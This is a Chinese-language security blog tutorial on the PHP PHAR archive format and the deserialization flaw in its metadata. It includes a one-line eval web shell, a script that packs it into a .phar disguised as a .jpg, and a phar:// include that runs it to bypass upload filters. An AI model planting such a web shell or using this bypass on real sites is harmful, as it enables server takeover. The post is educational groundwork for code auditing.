0x01 前言
簡要說明
寫這篇博客的目的只有兩個
- 爲後續博客之
[代碼審計篇]
中關於php反序列化漏洞的審計作鋪墊 - 爲上一篇博客做點漏洞原理的補充
環境工具
Win10 +Ubuntu
Phpstudy_pro
Sublime_Text 3
注意(tips)
PHAR的使用需要將php.ini設置phar.readonly設置爲Off才能用於PHAR對象
PHAR 這個詞是PHP和 Archive的組合詞,基於Java開發人員熟悉的jar(Java Archive)
預備知識
文件頭:
用來辨別一個文件真實內容,可修改(比如CTF中的雜項類就會有涉及修改文件頭的試題)
以下是常見文件類型及其參數:
phar可利用的文件操作函數
0x02 簡介
PHAR://協議
可以將多個文件歸入一個本地文件夾,也可以包含一個文件
PHAR文件
PHAR文件是一種打包格式,通過將多數PHP文件和其他資源(如圖像)捆綁到一個歸檔文件中來實現應用程序和庫的分發。且所有PHAR文件都使用.phar作爲文件擴展名,PHAR格式的歸檔需要使用自己寫的php代碼。
PHAR存檔最有特色的一種方便的方法是將多個文件分組爲一個文件。這樣,PHARr存檔提供了一種將完整的php應用程序分發到單個文件中並從該文件運行它的方法,而無需將其提取到磁盤。
PHP可以像在命令行上和從Web服務器上的任何其他文件一樣輕鬆地執行PHAR存檔。
PHAR文件結構
無論格式如何,每個歸檔都包含三個部分:
1.存根(stub)
一個可以引導歸檔的php文件。存根必須包含__HALT_COMPILER();
語句,並且默認存根擁有在不啓用PHAR擴展的情況下運行PHAR文件的能力.
識別phar拓展的標識,格式:xxx(可自定義
),對應的函數是Phar::setStub()
2.清單(manifest describing the contents)
清單詳細說明了存歸檔的內容。
被壓縮文件的權限、屬性等信息都放在這裏。這部分會以序列化的形式存儲用戶自定義的meta-data(漏洞利用核心)
。對應函數Phar::setMetadata()可自定義phar歸檔元數據.
3.文件內容 (file contents)
歸檔中包含的原始文件,即被壓縮文件的內容.
0x03 前提
一般情況下,利用Phar反序列漏洞有幾個條件:
可以上傳Phar文件
有可以利用的魔術方法
文件操作函數的參數可控
0x04 實戰
先用下面這個例子來體會一下PHAR的基本操作:
- owl.php
- index.php
隨便寫個一句話owl.php
<?php
@eval($_POST["owl"]);
?>
然後將owl.php壓縮,並將後綴改爲.jpg
先用phar.php創建一個owl.phar壓縮包
<?php
$phar = new Phar('owl.phar'); //
$phar->buildFromDirectory('/root/PHP_Serilize');//buildFromDirectory指定壓縮的目錄
$phar->compressFiles(Phar::GZ); //Phar::GZ表示使用gzip來壓縮此文件
$phar->stopBuffering();
$phar->setStub($phar->createDefaultStub('owl.php'));//setSub用來設置啓動加載的文件
?>
使用PHAR://去包含上面生成的owl.php(注意路徑)
<?php
include('phar://./owl.jpg/owl.php');
?>
即可包含成功!
姿勢1:繞過上傳限制
使用Phar://僞協議流可以繞過一些上傳限制,大多數情況下和文件包含一起使用
姿勢2:反序列化漏洞
# 漏洞觸發
利用Phar:// 僞協議讀取phar文件時
會反序列化meta-data儲存的信息
tip:系統文件操作的函數一般都能使用僞協議流,而Phar:// 自然也能如此
如果你對關於這兩個實戰姿勢很感興趣,還請移步到我的上一篇博客[反序列化篇]史上最全PHP反序列化漏洞實例復現姿勢詳解(補充ing)----會一直更新補充
,旨在收集全網的php反序列漏洞.
0x04 結語
這已經是我的第六篇博客了,目前認爲寫博客的感覺還是很爽的,比起把筆記放着自己看(幾乎不看),倒不如公開出來分享到社區,因爲這樣,那日益增加的粉絲和訪問量會讓我有一種責任感,而這種感覺恰好能督促我每天都學習!
參考文章
維基百科
先知
四個實例遞進php反序列化漏洞理解